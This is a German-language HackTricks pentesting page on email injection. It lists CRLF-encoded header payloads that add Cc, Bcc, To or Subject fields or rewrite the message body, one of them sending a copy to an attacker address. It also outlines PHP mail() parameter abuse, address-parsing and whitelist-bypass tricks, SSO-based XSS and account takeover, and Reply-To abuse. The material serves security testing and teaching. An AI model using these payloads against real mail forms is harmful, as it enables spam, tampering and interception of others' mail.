hacktricks/pentesting-web/email-injections.md

10 KiB

E-Mail-Injektionen


Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Heute Zugriff erhalten:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Injizieren Sie in gesendete E-Mail

Fügen Sie Cc und Bcc nach dem Absenderargument ein

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

Die Nachricht wird an die Empfänger- und Empfänger1-Konten gesendet.

Argument einschleusen

From:sender@domain.com%0ATo:attacker@domain.com

Die Nachricht wird an den ursprünglichen Empfänger und das Konto des Angreifers gesendet.

Injizieren Sie das Betreffsargument

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

Ändern Sie den Nachrichtentext

Fügen Sie einen Zeilenumbruch ein und schreiben Sie Ihre Nachricht, um den Nachrichtentext zu ändern.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

Ausnutzung der PHP mail() Funktion

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

Der 5. Parameter ($additional_parameters)

Dieser Abschnitt basiert darauf, wie man diesen Parameter missbrauchen kann, wenn ein Angreifer ihn kontrolliert.

Dieser Parameter wird der Befehlszeile hinzugefügt, die PHP verwenden wird, um das Binärprogramm sendmail aufzurufen. Er wird jedoch mit der Funktion escapeshellcmd($additional_parameters) bereinigt.

Ein Angreifer kann in diesem Fall zusätzliche Parameter für sendmail einschleusen.

Unterschiede in der Implementierung von /usr/sbin/sendmail

Die sendmail-Schnittstelle wird von der MTA-E-Mail-Software (Sendmail, Postfix, Exim usw.) bereitgestellt, die auf dem System installiert ist. Obwohl die grundlegende Funktionalität (wie -t -i -f Parameter) aus Gründen der Kompatibilität gleich bleibt, variieren andere Funktionen und Parameter je nach installierter MTA erheblich.

Hier sind einige Beispiele für verschiedene Handbuchseiten des sendmail-Befehls/der Schnittstelle:

Je nach Herkunft des sendmail-Binärprogramms wurden verschiedene Optionen entdeckt, um sie zu missbrauchen und Dateien auszulesen oder sogar beliebige Befehle auszuführen. Erfahren Sie, wie dies unter https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html möglich ist.

Einschleusen im E-Mail-Namen

Ignorierte Teile einer E-Mail

Die Symbole: +, - und {} können in seltenen Fällen für Markierungen verwendet und von den meisten E-Mail-Servern ignoriert werden

Kommentare in Klammern () am Anfang oder Ende werden ebenfalls ignoriert

Whitelist-Umgehung

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Anführungszeichen

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

IPs

Sie können auch IPs als Domainnamen zwischen eckigen Klammern verwenden:

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

Andere Schwachstellen

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Drittanbieter-SSO

XSS

Einige Dienste wie github oder salesforce ermöglichen es Ihnen, eine E-Mail-Adresse mit XSS-Payloads zu erstellen. Wenn Sie diese Anbieter verwenden können, um sich bei anderen Diensten anzumelden und diese Dienste die E-Mail nicht korrekt säubern, könnten Sie XSS verursachen.

Account-Übernahme

Wenn ein SSO-Dienst es Ihnen ermöglicht, ein Konto ohne Überprüfung der angegebenen E-Mail-Adresse zu erstellen (wie salesforce) und Sie dann dieses Konto verwenden können, um sich bei einem anderen Dienst anzumelden, der salesforce vertraut, könnten Sie auf jedes Konto zugreifen.
Beachten Sie, dass salesforce angibt, ob die angegebene E-Mail-Adresse verifiziert wurde oder nicht, sodass die Anwendung diese Information berücksichtigen sollte.

Antwort an

Sie können eine E-Mail senden mit Von: unternehmen.com und Antworten an: angreifer.com und wenn eine automatische Antwort gesendet wird, weil die E-Mail von einer internen Adresse gesendet wurde, könnte der Angreifer diese Antwort erhalten.

Harter Bounce-Rate

Bestimmte Dienste wie AWS implementieren eine Schwelle, die als Harte Bounce-Rate bekannt ist, die in der Regel auf 10% festgelegt ist. Dies ist eine wichtige Metrik, insbesondere für E-Mail-Zustelldienste. Wenn diese Rate überschritten wird, kann der Dienst, wie z. B. der E-Mail-Dienst von AWS, gesperrt oder blockiert werden.

Ein harter Bounce bezieht sich auf eine E-Mail, die an den Absender zurückgesendet wurde, weil die E-Mail-Adresse des Empfängers ungültig oder nicht vorhanden ist. Dies kann aus verschiedenen Gründen geschehen, wie z. B. die E-Mail wurde an eine nicht existierende Adresse gesendet, an eine nicht real existierende Domain oder der Server des Empfängers hat sich geweigert, die E-Mails anzunehmen.

Im Kontext von AWS würde eine 10%ige harte Bounce-Rate bedeuten, dass von 1000 E-Mails 100 aufgrund von Gründen wie ungültigen Adressen oder Domains zurückgeworfen wurden. Das Erreichen oder Überschreiten dieser Rate kann dazu führen, dass AWS SES (Simple Email Service) Ihre E-Mail-Sendeoptionen blockiert oder aussetzt.

Es ist entscheidend, eine niedrige harte Bounce-Rate aufrechtzuerhalten, um einen unterbrechungsfreien E-Mail-Dienst sicherzustellen und den Absender-Ruf zu wahren. Die Überwachung und Verwaltung der Qualität der E-Mail-Adressen in Ihren Mailinglisten kann erheblich dazu beitragen, dieses Ziel zu erreichen.

Für weitere detaillierte Informationen kann die offizielle Dokumentation von AWS zur Behandlung von Bounces und Beschwerden unter AWS SES Bounce Handling konsultiert werden.

Referenzen

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:


Verwenden Sie Trickest, um mithilfe der weltweit fortschrittlichsten Community-Tools einfach Workflows zu erstellen und zu automatisieren.
Erhalten Sie noch heute Zugriff:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}